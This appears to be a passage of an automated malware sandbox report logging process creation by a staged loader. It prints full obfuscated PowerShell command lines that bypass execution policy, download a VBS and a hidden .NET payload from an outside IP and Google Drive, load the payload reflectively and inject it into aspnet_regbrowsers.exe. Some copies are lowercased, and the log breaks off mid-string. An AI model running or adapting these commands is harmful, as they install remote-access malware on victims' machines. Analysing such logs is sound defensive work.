Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SySTeM32\winDowspOWErShell\v1.0\PoweRShELl.EXe" "powErshell -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt ; IeX($(iex('[SystEM.TExt.EncoDING]'+[ChAr]0x3A+[char]58+'UTf8.gETSTrIng([SystEm.cOnVeRT]'+[CHar]0x3A+[ChaR]58+'FROMBasE64STRIng('+[cHar]0X22+'JFpibFZsdVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLVRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFckRlRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbE1vTi5kbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExIayxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb2FseXlhR21BWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS0ksdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpUkpqdVRGeUZsTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlhZIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFPaGJRUSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRaYmxWbHVSdDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xNDEvNDIvbG9naXN0aWN0aGluZ3N3aXRoZ29vZHRoaW5nc2dpdmVuYmVzdC50SUYiLCIkRU5WOkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIiwwLDApO3N0QVJ0LXNsZWVwKDMpO3N0QVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIg=='+[Char]0x22+'))')))"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\f2dj0ncr\f2dj0ncr.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\ogisticthingswithgoodthingsgivenbes.vbS"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES19C8.tmp" "c:\Users\user\AppData\Local\Temp\f2dj0ncr\CSC6208178C473A4F0793DCFE56B934F534.TMP"	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SySTeM32\winDowspOWErShell\v1.0\PoweRShELl.EXe" "powErshell -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt ; IeX($(iex('[SystEM.TExt.EncoDING]'+[ChAr]0x3A+[char]58+'UTf8.gETSTrIng([SystEm.cOnVeRT]'+[CHar]0x3A+[ChaR]58+'FROMBasE64STRIng('+[cHar]0X22+'JFpibFZsdVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLVRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFckRlRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbE1vTi5kbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExIayxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb2FseXlhR21BWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS0ksdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpUkpqdVRGeUZsTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlhZIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFPaGJRUSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRaYmxWbHVSdDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xNDEvNDIvbG9naXN0aWN0aGluZ3N3aXRoZ29vZHRoaW5nc2dpdmVuYmVzdC50SUYiLCIkRU5WOkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIiwwLDApO3N0QVJ0LXNsZWVwKDMpO3N0QVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIg=='+[Char]0x22+'))')))"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdXaDdpbWFnZVVybCA9IHJmSWh0dHBzOi8vZHJpdmUuZ28nKydvZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9JysnMUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHJmSTtXaDd3ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O1doN2ltYScrJ2dlQnl0ZXMgPSBXaCcrJzcnKyd3ZWJDbGllbnQuRG93bmxvYWREYXRhKFdoN2ltYWdlVXJsKTtXaDdpbScrJ2FnZVRleHQgPSBbU3lzdGVtLlRleCcrJ3QuRW4nKydjb2RpbmddOjpVVEY4LkdldFN0JysncmluZyhXaCcrJzdpbWFnZUJ5dGVzKTtXaDdzdGFyJysndEZsYWcgPSByZkk8PEJBU0U2NF9TVEFSVD4+cmZJO1doN2VuZEZsYWcgPSByZkk8PEJBU0U2NCcrJ19FTkQ+PnJmSTtXaDdzdGFydEluZGV4ID0gV2g3aW1hZ2VUZXh0LkluZGV4T2YoV2g3c3RhcnRGbGFnKTtXaDdlbmRJbicrJ2RleCA9IFdoN2ltYScrJ2dlVGV4dC5JbmRleE9mKFdoN2VuZEZsYScrJ2cpO1doN3N0YXJ0SW5kZXggLWdlIDAgLWFuZCBXaDdlbmRJbmRleCAtZ3QgV2g3c3RhcnRJbmQnKydleDtXJysnaDdzdGFydEluZGV4ICs9IFdoN3N0YXJ0RmxhZy5MZW5ndGg7V2g3YmFzZTY0TGVuZ3RoID0gV2g3ZW5kSW5kZXggLSBXaDdzdGFydEluZGV4O1doN2Jhc2U2NENvbW1hbmQgPSBXaDdpbWFnZVRleHQuU3Vic3RyaW5nKFdoN3N0YXJ0SW5kZXgsIFdoN2Jhc2U2NExlbmd0aCknKyc7V2g3YmEnKydzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoV2g3YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFJZOSBGb3JFYWNoLU9iamVjdCB7IFdoNycrJ18gfSlbLTEuLi0oV2g3YmFzZTY0Q29tbWFuZC5MZW5ndGgnKycpXTtXaDdjJysnb21tYW5kQnl0ZXMgPSBbU3lzdCcrJ2VtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFdoN2JhJysnc2U2NFJldmVyc2VkKTtXaDdsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoV2g3Y29tbWFuJysnZEJ5dGVzJysnKTtXaDd2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHJmSVZBSXJmSSk7JysnV2g3dmFpTWV0aG9kLkludm9rZShXaDdudWwnKydsLCBAKHJmSXR4dC5JS0xHT0wvMjQvMTQxLjY3MS4zLicrJzI5MS8vOnB0dGhyZkknKycsIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWFzcG5ldF9yZWdicm93c2Vyc3JmSSwgcmZJZGVzYXRpdmFkb3JmSSwgcmZJZGVzYXRpdmFkb3JmSSxyZklkJysnZXNhdGl2YWRvJysncmZJLHJmJysnSWRlc2F0aXZhJysnZG9yZkkscmZJZGVzYXRpdmFkb3JmSSxyZklkZXNhdGl2YWQnKydvcmZJLHJmSWRlc2F0aXZhZCcrJ29yZkkscmZJMXJmSSxyZklkZXNhdGl2YWRvcmZJKSk7JykuUkVQTEFjRSgoW0NIYXJdODcrW0NIYXJdMTA0K1tDSGFyXTU1KSwnJCcpLlJFUExBY0UoJ3JmSScsW3N0cmluR11bQ0hhcl0zOSkuUkVQTEFjRSgoW0NIYXJdODIrW0NIYXJdODkrW0NIYXJdNTcpLFtzdHJpbkddW0NIYXJdMTI0KSB8LiAoICRWRXJCb1NFUHJlZkVyZU5DZS5Ub3NUUmluZygpWzEsM10rJ1gnLWpvSW4nJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('Wh7imageUrl = rfIhttps://drive.go'+'ogle.com/uc?export=download&id='+'1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur rfI;Wh7webCli'+'ent = New-Object System.Net.WebClient;Wh7ima'+'geBytes = Wh'+'7'+'webClient.DownloadData(Wh7imageUrl);Wh7im'+'ageText = [System.Tex'+'t.En'+'coding]::UTF8.GetSt'+'ring(Wh'+'7imageBytes);Wh7star'+'tFlag = rfI<<BASE64_START>>rfI;Wh7endFlag = rfI<<BASE64'+'_END>>rfI;Wh7startIndex = Wh7imageText.IndexOf(Wh7startFlag);Wh7endIn'+'dex = Wh7ima'+'geText.IndexOf(Wh7endFla'+'g);Wh7startIndex -ge 0 -and Wh7endIndex -gt Wh7startInd'+'ex;W'+'h7startIndex += Wh7startFlag.Length;Wh7base64Length = Wh7endIndex - Wh7startIndex;Wh7base64Command = Wh7imageText.Substring(Wh7startIndex, Wh7base64Length)'+';Wh7ba'+'se64R'+'eversed = -join (Wh7base64Command.ToCharArray() RY9 ForEach-Object { Wh7'+'_ })[-1..-(Wh7base64Command.Length'+')];Wh7c'+'ommandBytes = [Syst'+'em.Convert]::FromBase64String(Wh7ba'+'se64Reversed);Wh7loadedAssembly = [System.Reflection.Assembly]::Load(Wh7comman'+'dBytes'+');Wh7vaiMethod = [dnlib.IO.Home].GetMethod(rfIVAIrfI);'+'Wh7vaiMethod.Invoke(Wh7nul'+'l, @(rfItxt.IKLGOL/24/141.671.3.'+'291//:ptthrfI'+', rfIdesativadorfI, rfIdesativadorfI, rfIdesativadorfI, rfIaspnet_regbrowsersrfI, rfIdesativadorfI, rfIdesativadorfI,rfId'+'esativado'+'rfI,rf'+'Idesativa'+'dorfI,rfIdesativadorfI,rfIdesativad'+'orfI,rfIdesativad'+'orfI,rfI1rfI,rfIdesativadorfI));').REPLAcE(([CHar]87+[CHar]104+[CHar]55),'$').REPLAcE('rfI',[strinG][CHar]39).REPLAcE(([CHar]82+[CHar]89+[CHar]57),[strinG][CHar]124) \|. ( $VErBoSEPrefEreNCe.TosTRing()[1,3]+'X'-joIn'')"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\al22exsj\al22exsj.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\ogisticthingswithgoodthingsgivenbes.vbS"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6651.tmp" "c:\Users\user\AppData\Local\Temp\al22exsj\CSC903F5E3F8DB7424CB84D15F933E11EB7.TMP"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdXaDdpbWFnZVVybCA9IHJmSWh0dHBzOi8vZHJpdmUuZ28nKydvZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9JysnMUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHJmSTtXaDd3ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O1doN2ltYScrJ2dlQnl0ZXMgPSBXaCcrJzcnKyd3ZWJDbGllbnQuRG93bmxvYWREYXRhKFdoN2ltYWdlVXJsKTtXaDdpbScrJ2FnZVRleHQgPSBbU3lzdGVtLlRleCcrJ3QuRW4nKydjb2RpbmddOjpVVEY4LkdldFN0JysncmluZyhXaCcrJzdpbWFnZUJ5dGVzKTtXaDdzdGFyJysndEZsYWcgPSByZkk8PEJBU0U2NF9TVEFSVD4+cmZJO1doN2VuZEZsYWcgPSByZkk8PEJBU0U2NCcrJ19FTkQ+PnJmSTtXaDdzdGFydEluZGV4ID0gV2g3aW1hZ2VUZXh0LkluZGV4T2YoV2g3c3RhcnRGbGFnKTtXaDdlbmRJbicrJ2RleCA9IFdoN2ltYScrJ2dlVGV4dC5JbmRleE9mKFdoN2VuZEZsYScrJ2cpO1doN3N0YXJ0SW5kZXggLWdlIDAgLWFuZCBXaDdlbmRJbmRleCAtZ3QgV2g3c3RhcnRJbmQnKydleDtXJysnaDdzdGFydEluZGV4ICs9IFdoN3N0YXJ0RmxhZy5MZW5ndGg7V2g3YmFzZTY0TGVuZ3RoID0gV2g3ZW5kSW5kZXggLSBXaDdzdGFydEluZGV4O1doN2Jhc2U2NENvbW1hbmQgPSBXaDdpbWFnZVRleHQuU3Vic3RyaW5nKFdoN3N0YXJ0SW5kZXgsIFdoN2Jhc2U2NExlbmd0aCknKyc7V2g3YmEnKydzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoV2g3YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFJZOSBGb3JFYWNoLU9iamVjdCB7IFdoNycrJ18gfSlbLTEuLi0oV2g3YmFzZTY0Q29tbWFuZC5MZW5ndGgnKycpXTtXaDdjJysnb21tYW5kQnl0ZXMgPSBbU3lzdCcrJ2VtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFdoN2JhJysnc2U2NFJldmVyc2VkKTtXaDdsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoV2g3Y29tbWFuJysnZEJ5dGVzJysnKTtXaDd2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHJmSVZBSXJmSSk7JysnV2g3dmFpTWV0aG9kLkludm9rZShXaDdudWwnKydsLCBAKHJmSXR4dC5JS0xHT0wvMjQvMTQxLjY3MS4zLicrJzI5MS8vOnB0dGhyZkknKycsIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWFzcG5ldF9yZWdicm93c2Vyc3JmSSwgcmZJZGVzYXRpdmFkb3JmSSwgcmZJZGVzYXRpdmFkb3JmSSxyZklkJysnZXNhdGl2YWRvJysncmZJLHJmJysnSWRlc2F0aXZhJysnZG9yZkkscmZJZGVzYXRpdmFkb3JmSSxyZklkZXNhdGl2YWQnKydvcmZJLHJmSWRlc2F0aXZhZCcrJ29yZkkscmZJMXJmSSxyZklkZXNhdGl2YWRvcmZJKSk7JykuUkVQTEFjRSgoW0NIYXJdODcrW0NIYXJdMTA0K1tDSGFyXTU1KSwnJCcpLlJFUExBY0UoJ3JmSScsW3N0cmluR11bQ0hhcl0zOSkuUkVQTEFjRSgoW0NIYXJdODIrW0NIYXJdODkrW0NIYXJdNTcpLFtzdHJpbkddW0NIYXJdMTI0KSB8LiAoICRWRXJCb1NFUHJlZkVyZU5DZS5Ub3NUUmluZygpWzEsM10rJ1gnLWpvSW4nJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('Wh7imageUrl = rfIhttps://drive.go'+'ogle.com/uc?export=download&id='+'1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur rfI;Wh7webCli'+'ent = New-Object System.Net.WebClient;Wh7ima'+'geBytes = Wh'+'7'+'webClient.DownloadData(Wh7imageUrl);Wh7im'+'ageText = [System.Tex'+'t.En'+'coding]::UTF8.GetSt'+'ring(Wh'+'7imageBytes);Wh7star'+'tFlag = rfI<<BASE64_START>>rfI;Wh7endFlag = rfI<<BASE64'+'_END>>rfI;Wh7startIndex = Wh7imageText.IndexOf(Wh7startFlag);Wh7endIn'+'dex = Wh7ima'+'geText.IndexOf(Wh7endFla'+'g);Wh7startIndex -ge 0 -and Wh7endIndex -gt Wh7startInd'+'ex;W'+'h7startIndex += Wh7startFlag.Length;Wh7base64Length = Wh7endIndex - Wh7startIndex;Wh7base64Command = Wh7imageText.Substring(Wh7startIndex, Wh7base64Length)'+';Wh7ba'+'se64R'+'eversed = -join (Wh7base64Command.ToCharArray() RY9 ForEach-Object { Wh7'+'_ })[-1..-(Wh7base64Command.Length'+')];Wh7c'+'ommandBytes = [Syst'+'em.Convert]::FromBase64String(Wh7ba'+'se64Reversed);Wh7loadedAssembly = [System.Reflection.Assembly]::Load(Wh7comman'+'dBytes'+');Wh7vaiMethod = [dnlib.IO.Home].GetMethod(rfIVAIrfI);'+'Wh7vaiMethod.Invoke(Wh7nul'+'l, @(rfItxt.IKLGOL/24/141.671.3.'+'291//:ptthrfI'+', rfIdesativadorfI, rfIdesativadorfI, rfIdesativadorfI, rfIaspnet_regbrowsersrfI, rfIdesativadorfI, rfIdesativadorfI,rfId'+'esativado'+'rfI,rf'+'Idesativa'+'dorfI,rfIdesativadorfI,rfIdesativad'+'orfI,rfIdesativad'+'orfI,rfI1rfI,rfIdesativadorfI));').REPLAcE(([CHar]87+[CHar]104+[CHar]55),'$').REPLAcE('rfI',[strinG][CHar]39).REPLAcE(([CHar]82+[CHar]89+[CHar]57),[strinG][CHar]124) \|. ( $VErBoSEPrefEreNCe.TosTRing()[1,3]+'X'-joIn'')"

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "powershell -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]58+'utf8.getstring([system.convert]'+[char]0x3a+[char]58+'frombase64string('+[char]0x22+'jfpibfzsdvj0icagicagicagicagicagicagicagicagicagicagid0gicagicagicagicagicagicagicagicagicagicagyurklvrzugugicagicagicagicagicagicagicagicagicagicaglu1ltujfckrlrkloavrpt04gicagicagicagicagicagicagicagicagicagicagj1tebgxjbxbvcnqoinvsbe1vti5kbgwilcagicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicagiexiayxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagb2fsexlhr21bwcxzdhjpbmcgicagicagicagicagicagicagicagicagicagicags0ksdwludcagicagicagicagicagicagicagicagicagicagicbpukpqdvrgeuzstsxjbnrqdhigicagicagicagicagicagicagicagicagicagicageuipoycgicagicagicagicagicagicagicagicagicagicaglw5hbwugicagicagicagicagicagicagicagicagicagicagilhziiagicagicagicagicagicagicagicagicagicagicatbkfnrvnqywnficagicagicagicagicagicagicagicagicagicagihfpagjrusagicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagicraymxwbhvsddo6vvjmrg93bmxvywrub0zpbguomcwiahr0cdovlze5mi4zlje3ni4xndevndivbg9naxn0awn0agluz3n3axroz29vzhroaw5nc2dpdmvuymvzdc50suyilcikru5wokfquerbvefcb2dpc3rpy3roaw5nc3dpdghnb29kdghpbmdzz2l2zw5izxmudmjtiiwwldapo3n0qvj0lxnszwvwkdmpo3n0qvj0icagicagicagicagicagicagicagicagicagicagicikzw52okfquerbvefcb2dpc3rpy3roaw5nc3dpdghnb29kdghpbmdzz2l2zw5izxmudmjtig=='+[char]0x22+'))')))"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcdxaddpbwfnzvvybca9ihjmswh0dhbzoi8vzhjpdmuuz28nkydvz2xllmnvbs91yz9lehbvcnq9zg93bmxvywqmawq9jysnmufjvmdkskp2muy2dlm0c1vpewjusc1zrhzvaejzd3vyihjmsttxadd3zwjdbgknkydlbnqgpsbozxctt2jqzwn0ifn5c3rlbs5ozxquv2viq2xpzw50o1don2ltyscrj2dlqnl0zxmgpsbxaccrjzcnkyd3zwjdbgllbnqurg93bmxvywreyxrhkfdon2ltywdlvxjskttxaddpbscrj2fnzvrlehqgpsbbu3lzdgvtllrleccrj3qurw4nkydjb2rpbmddojpvvey4lkdldfn0jysncmluzyhxaccrjzdpbwfnzuj5dgvzkttxaddzdgfyjysndezsywcgpsbyzkk8pejbu0u2nf9tvefsvd4+cmzjo1don2vuzezsywcgpsbyzkk8pejbu0u2nccrj19ftkq+pnjmsttxaddzdgfydeluzgv4id0gv2g3aw1hz2vuzxh0lkluzgv4t2yov2g3c3rhcnrgbgfnkttxaddlbmrjbicrj2rleca9ifdon2ltyscrj2dlvgv4dc5jbmrlee9mkfdon2vuzezsyscrj2cpo1don3n0yxj0sw5kzxgglwdlidaglwfuzcbxaddlbmrjbmrlecatz3qgv2g3c3rhcnrjbmqnkydledtxjysnaddzdgfydeluzgv4ics9ifdon3n0yxj0rmxhzy5mzw5ndgg7v2g3ymfzzty0tgvuz3roid0gv2g3zw5ksw5kzxgglsbxaddzdgfydeluzgv4o1don2jhc2u2nenvbw1hbmqgpsbxaddpbwfnzvrlehquu3vic3ryaw5nkfdon3n0yxj0sw5kzxgsifdon2jhc2u2nexlbmd0acknkyc7v2g3ymenkydzzty0uicrj2v2zxjzzwqgpsatam9pbiaov2g3ymfzzty0q29tbwfuzc5ub0noyxjbcnjhesgpifjzosbgb3jfywnolu9iamvjdcb7ifdonycrj18gfslblteuli0ov2g3ymfzzty0q29tbwfuzc5mzw5ndggnkycpxttxaddjjysnb21tyw5kqnl0zxmgpsbbu3lzdccrj2vtlknvbnzlcnrdojpgcm9tqmfzzty0u3ryaw5nkfdon2jhjysnc2u2nfjldmvyc2vkkttxaddsb2fkzwrbc3nlbwjsesa9ifttexn0zw0uumvmbgvjdglvbi5bc3nlbwjsev06okxvywqov2g3y29tbwfujysnzej5dgvzjysnkttxadd2ywlnzxrob2qgpsbbzg5sawiusu8usg9tzv0ur2v0twv0ag9kkhjmsvzbsxjmssk7jysnv2g3dmfptwv0ag9klkludm9rzshxaddudwwnkydslcbakhjmsxr4dc5js0xht0wvmjqvmtqxljy3ms4zlicrjzi5ms8vonb0dghyzkknkycsihjmswrlc2f0axzhzg9yzkksihjmswrlc2f0axzhzg9yzkksihjmswrlc2f0axzhzg9yzkksihjmswfzcg5ldf9yzwdicm93c2vyc3jmsswgcmzjzgvzyxrpdmfkb3jmsswgcmzjzgvzyxrpdmfkb3jmssxyzklkjysnzxnhdgl2ywrvjysncmzjlhjmjysnswrlc2f0axzhjysnzg9yzkkscmzjzgvzyxrpdmfkb3jmssxyzklkzxnhdgl2ywqnkydvcmzjlhjmswrlc2f0axzhzccrj29yzkkscmzjmxjmssxyzklkzxnhdgl2ywrvcmzjksk7jykuukvqtefjrsgow0niyxjdodcrw0niyxjdmta0k1tdsgfyxtu1kswnjccplljfuexby0uoj3jmsscsw3n0cmlur11bq0hhcl0zoskuukvqtefjrsgow0niyxjdodirw0niyxjdodkrw0niyxjdntcplftzdhjpbkddw0niyxjdmti0ksb8liaoicrwrxjcb1nfuhjlzkvyzu5dzs5ub3nuumluzygpwzesm10rj1gnlwpvsw4njyk=';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "powershell -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]58+'utf8.getstring([system.convert]'+[char]0x3a+[char]58+'frombase64string('+[char]0x22+'jfpibfzsdvj0icagicagicagicagicagicagicagicagicagicagid0gicagicagicagicagicagicagicagicagicagicagyurklvrzugugicagicagicagicagicagicagicagicagicagicaglu1ltujfckrlrkloavrpt04gicagicagicagicagicagicagicagicagicagicagj1tebgxjbxbvcnqoinvsbe1vti5kbgwilcagicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicagiexiayxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagb2fsexlhr21bwcxzdhjpbmcgicagicagicagicagicagicagicagicagicagicags0ksdwludcagicagicagicagicagicagicagicagicagicagicbpukpqdvrgeuzstsxjbnrqdhigicagicagicagicagicagicagicagicagicagicageuipoycgicagicagicagicagicagicagicagicagicagicaglw5hbwugicagicagicagicagicagicagicagicagicagicagilhziiagicagicagicagicagicagicagicagicagicagicatbkfnrvnqywnficagicagicagicagicagicagicagicagicagicagihfpagjrusagicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagicraymxwbhvsddo6vvjmrg93bmxvywrub0zpbguomcwiahr0cdovlze5mi4zlje3ni4xndevndivbg9naxn0